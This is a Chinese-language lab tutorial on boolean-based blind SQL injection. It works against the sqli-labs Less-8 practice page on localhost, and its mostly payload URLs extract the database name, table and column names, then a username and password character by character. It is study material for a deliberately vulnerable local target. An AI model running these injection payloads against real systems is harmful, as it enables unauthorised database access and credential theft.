sql盲注

2020-05-12 14:46:47 浏览数 (1)

文章源自【字节脉搏社区】-字节脉搏实验室

作者-墨子辰

扫描下方二维码进入社区:

盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。本次主要讲解的是基于布尔的盲注。

ascii() #返回指定数字对应的ascii码字符函数

substr() #截取从pos位置开始到最后的所有str字符串

手工注入,一个个猜解。大多数人都会觉得特别烦躁的东西。

注入还设有第一点,看注入点在哪里。

个人的查看注入点的方式‘单引号,“双引号,

http://localhost/sqli/Less-8/?id=1

#正常

http://localhost/sqli/Less-8/?id=1

‘ #不正常

http://localhost/sqli/Less-8/?id=1

" #正常

接下来就是构造闭合

http://localhost/sqli/Less-8/?id=1

‘-- #正常,我可以认为是闭合成功了。

http://localhost/sqli/Less-8/?id=1

‘ and 1=1-- #正常

http://localhost/sqli/Less-8/?id=1

‘ and 1=2-- #不正常

接下来我可以尝试猜解数据库了。首先猜解数据库的长度。数据库猜解长度的函数length

length() 返回字符串的长度

http://localhost/sqli/Less-8/?id=1

‘ and length(database())>1-- #肯定大于1,这个事实

http://localhost/sqli/Less-8/?id=1

‘ and length(database())>7-- #大于7

http://localhost/sqli/Less-8/?id=1

‘ and length(database())>8-- #不大于8

http://localhost/sqli/Less-8/?id=1

‘ and length(database())=8-- #数据库等于8,然后呢!

然后猜解字符了,编辑坑爹呀!感觉还是写个字典用burp跑

通过ascii()和substr()猜测数据库名

ascii() #返回指定数字对应的ascii码字符函数

substr() #截取从pos位置开始到最后的所有str字符串

?id=1

‘ and (select ascii(substr(database(),1,1)))=115-- #115=s

不停的爆破

第二个是101 e

第三个是 99 c

第四个是117 u

第五个是114 r

第六个是105 i

第七个是116 t

第八个是121 y

可以得到数据库名字为:security

接下来头疼的爆数据表,盲注果然是很枯燥的事情。

#第一个表

?id=1' and (select ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1)))=101-- # 101=e

第一个数据表 101,109,97,105,108,115 =>emails

#第二个表

?id=1' and (select ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 1,1),1,1)))=114--

第二个数据表 114,101,102,101,114,101,114,115 =>referers

#第三个表

id=1' and (select ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 2,1),1,1)))=117--

第三个数据表 117,97,103,101,110,116,115 =>uagents

第四个数据表 117,115,101,114,115 =>users

爆字段了,我是有点奔溃了。。。。接下来更加坑爹的爆字段。

http://localhost/sqli/Less-8/?id=1‘ and (select ascii(substr((select column_name from information_schema.columns where table_name=‘users‘ limit 0,1),2,1)))=105--

第一个字段 117,115,101,114,95,105,100 =>user_id

第二个字段 102,105,114,115,116,95,110,97,109,101 =>first_name

内心是奔溃,想办法简略一下。不是117=u或者112=p直接忽略

第三个字段 108 pass =>last_name

第四个字段 117,115,101,114 =>user

第五个字段 112,97,115,115,119,111,114,100, =>password

第六个字段 97 pass =>avatar

第七个字段 105 =》id

第八个字段 117,115,101,114,110,97,109,101 =>username

猜解一下用户名username,密码password

感觉太悲催。

http://localhost/sqli/Less-8/?id=1' and (select ascii(substr((select username from users limit 0,1),1,1)))=68--

第一个用户名:68,117,109,98 =>Dumb

http://localhost/sqli/Less-8/?id=1‘ and (select ascii(substr((select password from users limit 0,1),1,1)))=68--

第一个密码:68,117,109,98 =>Dumb

注:以上代码如果拿去本地复现,请注意 【' 、“】符号中英文格式,如若有必要,请自己重敲' "等符号

0 人点赞